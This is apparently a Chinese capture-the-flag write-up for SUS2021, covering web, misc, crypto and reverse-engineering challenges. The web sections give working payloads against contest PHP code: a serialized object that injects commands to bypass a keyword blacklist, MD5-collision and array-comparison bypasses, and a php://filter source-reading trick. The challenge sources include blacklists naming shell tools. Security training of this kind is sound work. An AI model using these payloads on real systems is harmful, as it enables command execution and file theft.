SUS2021-WP

分数:3319
排名:2

[Web] easycmd

解题思路

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
<?php 
error_reporting(NULL);
if (!isset($_GET['flag'])) {
highlight_file(__FILE__);
die();
}

$flag = $_GET['flag'];


class Flag {

private $cmd="";
private $verify="";

function __destruct() {
if ($this->verify === "get flag") {
if (preg_match('/(cat|\;|\>|more|less|head|tail|tac|nl|grep|strings|\||\&)/i', $this->cmd)) {
die("No way");
}
@system("echo {$this->cmd}");
} else {
die("verify failed");
}
}
}

$a = unserialize($flag);
  1. 需要序列化verify和cmd
  2. 这里需要注意,cmd的指令是经过echo的,所以需要$()在括号中加入待执行的指令,这里先看看根目录ls /
1
2
3
4
5
6
7
8
9
<?php
class Flag
{
private $verify = "get flag";
private $cmd = "$(ls /)";
}
$a = new Flag();
echo urlencode(serialize($a));
?>
  1. 拿到PHP在线跑一下,得到

    1
    O%3A4%3A%22Flag%22%3A2%3A%7Bs%3A12%3A%22%00Flag%00verify%22%3Bs%3A8%3A%22get+flag%22%3Bs%3A9%3A%22%00Flag%00cmd%22%3Bs%3A7%3A%22%24%28ls+%2F%29%22%3B%7D  
  2. 访问http://susctf.com:10001/index.php?flag=O%3A4%3A%22Flag%22%3A2%3A%7Bs%3A12%3A%22%00Flag%00verify%22%3Bs%3A8%3A%22get+flag%22%3Bs%3A9%3A%22%00Flag%00cmd%22%3Bs%3A7%3A%22%24%28ls+%2F%29%22%3B%7D

  3. 接下来获取flag,因为cat,more等等都被过滤了,所以uniq /flag序列化结果为

    1
    O%3A4%3A%22Flag%22%3A2%3A%7Bs%3A12%3A%22%00Flag%00verify%22%3Bs%3A8%3A%22get+flag%22%3Bs%3A9%3A%22%00Flag%00cmd%22%3Bs%3A13%3A%22%24%28uniq+%2Fflag%29%22%3B%7D  
  4. 得到flag

[Web] happy_web

解题思路

  1. http://susctf.com:10001/index.php?img=61476c6861476c684c6d70775a773d3d&cmd=
  2. img那段好像16进制ASCII,对应为aGlhaGlhLmpwZw==,base64解码结果为hiahia.jpg
  3. 可以用img读取页面源码,所以先将index.phpbase64编码再转成16进制得到6157356b5a58677563476877
  4. /index.php?img=6157356b5a58677563476877&cmd=用Bp看下响应
  5. 将得到的base64解码,得到
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
<?php
error_reporting(E_ALL || ~ E_NOTICE);
header('content-type:text/html;charset=utf-8');
$cmd = $_GET['cmd'];
if (!isset($_GET['img']) || !isset($_GET['cmd']))
header('Refresh:0;url=./index.php?img=61476c6861476c684c6d70775a773d3d&cmd=');
$file = base64_decode(hex2bin($_GET['img']));

$file = preg_replace("/[^a-zA-Z0-9.]+/", "", $file);
if (preg_match("/flag/i", $file)) {
echo '<img src ="./jz.jpg">';
die("lmy shi wo da ge");
} else {
$txt = base64_encode(file_get_contents($file));
echo "<img src='data:image/gif;base64," . $txt . "'></img>";
echo "<br>";
}
echo $cmd;
echo "<br>";
if (preg_match("/ls|bash|tac|nl|more|less|head|wget|tail|vi|cat|od|grep|sed|bzmore|bzless|pcre|paste|diff|file|echo|sh|\'|\"|\`|;|,|\*|\?|\\|\\\\|\n|\t|\r|\xA0|\{|\}|\(|\)|\&[^\d]|@|\||\\$|\[|\]|{|}|\(|\)|-|<|>/i", $cmd)) {
echo("bie xiang le");
echo "<br>";
} else {
if ((string)$_POST['a'] !== (string)$_POST['b'] && md5($_POST['a']) === md5($_POST['b'])) {
echo `$cmd`;
} else {
echo ("md5 is coooool");
}
}

?>
<html>
<style>

</style>
<body>
</body>
</html>
  1. MD5强绕过
1
2
a=M%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%00%A8%28K%F3n%8EKU%B3_Bu%93%D8Igm%A0%D1U%5D%83%60%FB_%07%FE%A2
&b=M%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%02%A8%28K%F3n%8EKU%B3_Bu%93%D8Igm%A0%D1%D5%5D%83%60%FB_%07%FE%A2
  1. 同时cmd还过滤了一些字符,用dir看下
  2. dir /空格用%20代替
  3. uniq%20/flag

    SUSCTF{4c4f7d5fa95982aa2a3cec94905f1d66}

[Web] LMY_de_miji

解题思路

  1. robots.txt提示Ss3cret.php
  2. 查看
  3. 因为过滤了input,data等等,所以用filter协议试试。
    /Ss3cret.php?file=php://filter/read=convert.base64-encode/resource=f1f1fffl4g.php
  4. 另外,还要POST参数a和b,要求a与b不相等但它们的md5相等,这里md5比较是==可以用数组绕过,即a[]=1&b[]=2
    1
    PCFET0NUWVBFIGh0bWw+DQoNCjxodG1sPg0KDQo8aGVhZD4NCiAgICA8bWV0YSBjaGFyc2V0PSJ1dGYtOCI+DQogICAgPHRpdGxlPkZMQUc8L3RpdGxlPg0KPC9oZWFkPg0KDQo8Ym9keSBzdHlsZT0iYmFja2dyb3VuZC1jb2xvcjp3aGl0ZTsiPjxicj48YnI+PGJyPjxicj48YnI+PGJyPg0KDQo8aDEgc3R5bGU9ImZvbnQtZmFtaWx5OnZlcmRhbmE7Y29sb3I6cmVkO3RleHQtYWxpZ246Y2VudGVyOyI+eW91IHdhbnQgZmxhZz9pdCdzIGluIGhlcmUsY2FuIHlvdSBmaW5kIGl0ID9+fn48L2gxPjxicj48YnI+PGJyPg0KPHAgc3R5bGU9ImZvbnQtZmFtaWx5OmFyaWFsO2NvbG9yOnJlZDtmb250LXNpemU6MjBweDt0ZXh0LWFsaWduOmNlbnRlcjsiPg0KICAgIDw/cGhwDQogICAgJGZsYWcgPSAiZmxhZyBpbiBmZmZmZmZmZmZsNDQ0NGciOw0KICAgID8+DQo8L3A+DQo8L2JvZHk+DQoNCjwvaHRtbD4NCg==
  5. base64解码得到

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    <!DOCTYPE html>

    <html>

    <head>
    <meta charset="utf-8">
    <title>FLAG</title>
    </head>

    <body style="background-color:white;"><br><br><br><br><br><br>

    <h1 style="font-family:verdana;color:red;text-align:center;">you want flag?it's in here,can you find it ?~~~</h1><br><br><br>
    <p style="font-family:arial;color:red;font-size:20px;text-align:center;">
    <?php
    $flag = "flag in fffffffffl4444g";
    ?>
    </p>
    </body>

    </html>
  6. 访问http://susctf.com:10005/fffffffffl4444g

[MISC] 两只老虎爱跳舞

解题思路

  1. 1234解压zip
  2. dd if=8695.tar.gz | openssl des3 -d -pbkdf2 -k 8695 | tar zxf -解压tar.gz得到7303.tar.gz
  3. dd if=7303.tar.gz | openssl des3 -d -pbkdf2 -k 7303 | tar zxf -得到1106.zip
  4. 我直接裂开,不断套娃
  5. 解压脚本如下(我写得好像有点啰嗦。。。)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
import os
import subprocess


def getFile(path):
fileName = []
lst = os.listdir(path)
for i in lst:
print(i+"\n")
suffix = os.path.splitext(i)[1]
key = i[0:4]
delRawFileCmd = "rm " + path + "/" + i
if suffix == ".zip":
cmd = "unzip -P " + key + " " + path + "/" + i
try:
subprocess.check_output(cmd, shell=True)
subprocess.check_output(delRawFileCmd, shell=True)

except subprocess.CalledProcessError as e:
subprocess.check_output(delRawFileCmd, shell=True)

continue
elif suffix == ".gz":
cmd = "dd if=" + path + "/" + i + " | openssl des3 -d -pbkdf2 -k " + key + "| tar zxf -"
try:
subprocess.check_output(cmd, shell=True)
subprocess.check_output(delRawFileCmd, shell=True)

except subprocess.CalledProcessError as e:
subprocess.check_output(delRawFileCmd, shell=True)

continue
elif suffix == ".py":
continue
else:
break

// 开始存放1234.zip压缩文件的目录
path = "/home/v/Desktop/yasuo"

while len(os.listdir(path)):
getFile(path)

# Ref https://blog.csdn.net/heda3/article/details/102535307
  1. 最终得到mp3
  2. mp3隐写参考
    属性中
  3. 用010Editor打开该音频文件,注意需要安装MP3.bt模板,结合private(MP3数据帧中的保留位)和mf[n],猜测保留位private中隐写了数据。
  4. 其中,89166是MPEG帧的起始地址,可以看到结构体中89166开始的12+1+2+1+4+2+1+1=16+8位达到private位,也就说第89168字节的最后一位正好是private的数值,倒数第二位为padding。这里还要关注padding的原因是:发现每个MPEG帧长不一定相同,会受到padding的影响,padding为0帧长就是1044,否则就是1045
  5. 另外,循环的跳出条件是,遍历完所有MPEG帧,也就是一直到1275124
  6. 提取代码如下:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
import re
from Crypto.Util.number import bytes_to_long

n = 89168
result = ''
flag = ''
file = open('D:\\Document\\CTF\\SUS2021\\Misc\\两只老虎爱跳舞\\小兔子乖乖拔萝卜\\Do_you_know_private.mp3', 'rb')
while n < 1275124:
file.seek(n, 0)
private_related_byte = file.read(1)
print(private_related_byte)
private_val = bin(bytes_to_long(private_related_byte))[-1]
result = result + private_val
padding_val = bin(bytes_to_long(private_related_byte))[-2]
if padding_val == '1' or padding_val == '0':
n = n + 1044 + int(padding_val, 2)
else:
break

bin_lst = re.findall('.{'+str(8)+'}', result)
print(bin_lst)
for i in bin_lst:
flag += chr(int(i, 2))
print(flag)
  1. 打印U1VTQ1RGJTdCRDBfeTB1X2wxazNfZDRuYzFuZyU3RA==
  2. base64解码SUSCTF%7BD0_y0u_l1k3_d4nc1ng%7D
  3. 将左右括号%7B和%7D改过来即可

[MISC] Word

解题思路

  1. word中提示了JPG_encryption,但是并没有发现隐藏图片
  2. 将后缀名改为zip再解压缩发现了一个guessguessguess.xml,用010Editor看到其文件头是jfif,将其改为jpg可以打开
  3. jpg格式不能隐写,用stegdetect也没检测到什么结果,直到我查到一个工具叫outguess,这个文件名就在疯狂暗示
  4. outguess -k "What_do_you_know_about_JPG_encryption" -r guessguessguess.jpg hidden.txt
  5. SUSCTF{Congr4tulat1on5_Y0u_gu3ssed_1t}

[Crypto] ezXOR

解题思路

xortool -c 20 enc.txt

SUSCTF{XOR_t00l_cAn_so1ve_1t}

[Re] 0-year-old-re

解题思路

  1. 答案就在明面上D500B61B-9270-41CB-9EB4-FEDF3C5FC101

[Misc] 签到到到到

解题思路

  1. 先base58再base85,这里借助CyberChef_v8.31.1完成
  2. SUSCTF{Welc0m3_t0_th3_c0mpet1tion}


----------- 本文结束 -----------




0%